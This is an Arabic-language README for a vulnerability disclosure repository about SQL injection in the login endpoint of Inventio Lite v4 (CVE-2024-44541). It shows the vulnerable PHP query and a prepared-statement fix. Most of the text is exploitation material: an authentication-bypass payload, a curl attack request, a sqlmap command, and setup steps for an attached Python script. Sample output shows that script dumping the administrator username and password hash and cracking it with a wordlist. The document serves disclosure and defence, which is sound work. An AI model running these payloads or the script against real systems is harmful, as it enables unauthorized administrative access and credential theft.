
يستعرض هذا المستودع ثغرة حقن SQL في Inventio Lite v4، بما في ذلك خطوات الاستغلال ونصًا برمجيًا بلغة Python لأتمتة الهجوم. كما يوفر معلومات حول الكود المعرّض للخطر، والإصلاحات الموصى بها، وكيفية استخراج وفك تشفير بيانات اعتماد المسؤول.
Inventio Lite v4 عرضة لحقن SQL (SQLi) في نقطة النهاية /action=processlogin. تسمح هذه الثغرة للمهاجمين بحقن استعلامات SQL عشوائية عبر معامل username في طلبات POST، مما قد يؤدي إلى وصول غير مصرح به واستخراج البيانات.
الكود المعرض للثغرة هو كما يلي:
if(!isset($_SESSION["user_id"])) {
$user = $_POST['username'];
$pass = sha1(md5($_POST['password']));
$base = new Database();
$con = $base->connect();
$sql = "select * from user where (email= \"".$user."\" or username= \"".$user."\") and password= \"".$pass."\" and is_active=1";
$query = $con->query($sql);
$found = false;
$userid = null;
while($r = $query->fetch_array()){
$found = true;
$userid = $r['id'];
}
}
لقطة شاشة للكود المعرض للثغرة:

تم إصلاح المشكلة باستخدام عبارات محضّرة (Prepared Statements):
if(!isset($_SESSION["user_id"])) {
$user = $_POST['username'];
$pass = sha1(md5($_POST['password']));
$base = new Database();
$con = $base->connect();
// Prepare the query
$stmt = $con->prepare("
SELECT * FROM user
WHERE (email = ? OR username = ?)
AND password = ?
AND is_active = 1
");
// Bind parameters
$stmt->bind_param("sss", $user, $user, $pass);
// Execute query
$stmt->execute();
// Get result
$result = $stmt->get_result();
$found = false;
$userid = null;
while($r = $result->fetch_assoc()){
$found = true;
$userid = $r['id'];
}
// Close statement
$stmt->close();
}
لاستغلال هذه الثغرة، استخدم الحمولة التالية:
user -> ") or 1=1-- -
pass -> blablalba
مثال على الهجوم باستخدام curl:
$ curl -X POST http://192.168.1.51/inventio-lite/?action=processlogin -d 'username=%22%29%20or%201%3D1--%20-&password=blablabla' -v && echo ""
$ sqlmap -u http://192.168.1.51/inventio-lite/?action=processlogin --data="username=*&password=*" --level 5 --risk 3 --dbms=mysql --dbs --prefix='")' --batch --dbs
لأتمتة الاستغلال واستخراج اسم المستخدم وتجزئة كلمة مرور المسؤول، يمكنك استخدام سكريبت بايثون المرفق sqli.py.
يمكنك استنساخ هذا المستودع
git clone https://github.com/pointedsec/CVE-2024-44541
ثم قم بتثبيت المتطلبات باستخدام pip
pip install -r requirements.txt
عدّل المتغيرات التالية في السكريبت حسب الحاجة:
BASE_URL = "http://192.168.1.51/inventio-lite/"PWD_DIC_PATH = "/usr/share/wordlists/rockyou.txt"ثم نفّذ السكريبت، حيث سيقوم بتفريغ اسم مستخدم المسؤول والتجزئة، ثم يحاول كسر التجزئة باستخدام صيغة SHA1(MD5(password)).
مثال على الإخراج:
$ python3 sqli.py
[*] Checking if target is vulnerable
[+] Target Vulnerable!
[*] Dumping Administrator username...
[◤] Extracting Username: -> [email protected]
[/] Extracting Admin Password Hash: Final Admin Hash: 90b9aa7e25f80cf4f64e990b78a9fc5ebd6cecad
[+] Password Decrypted! -> [email protected]:admin
[*] Try to Log In with that username, if that doesn't work, try with some uppercase/lowercase combinations
السرية: يمكن للمهاجمين تفريغ قاعدة البيانات بالكامل، مما يعرض بيانات حساسة مثل بيانات اعتماد المستخدمين والمعلومات الشخصية.
السلامة: يمكن للمهاجمين تجاوز المصادقة والحصول على وصول إداري، مما يسمح لهم بتعديل البيانات أو حذفها.
تم تحديد هذه الثغرة بواسطة Andrés Del Cerro. لمزيد من التفاصيل، يرجى التواصل معي عبر [email protected]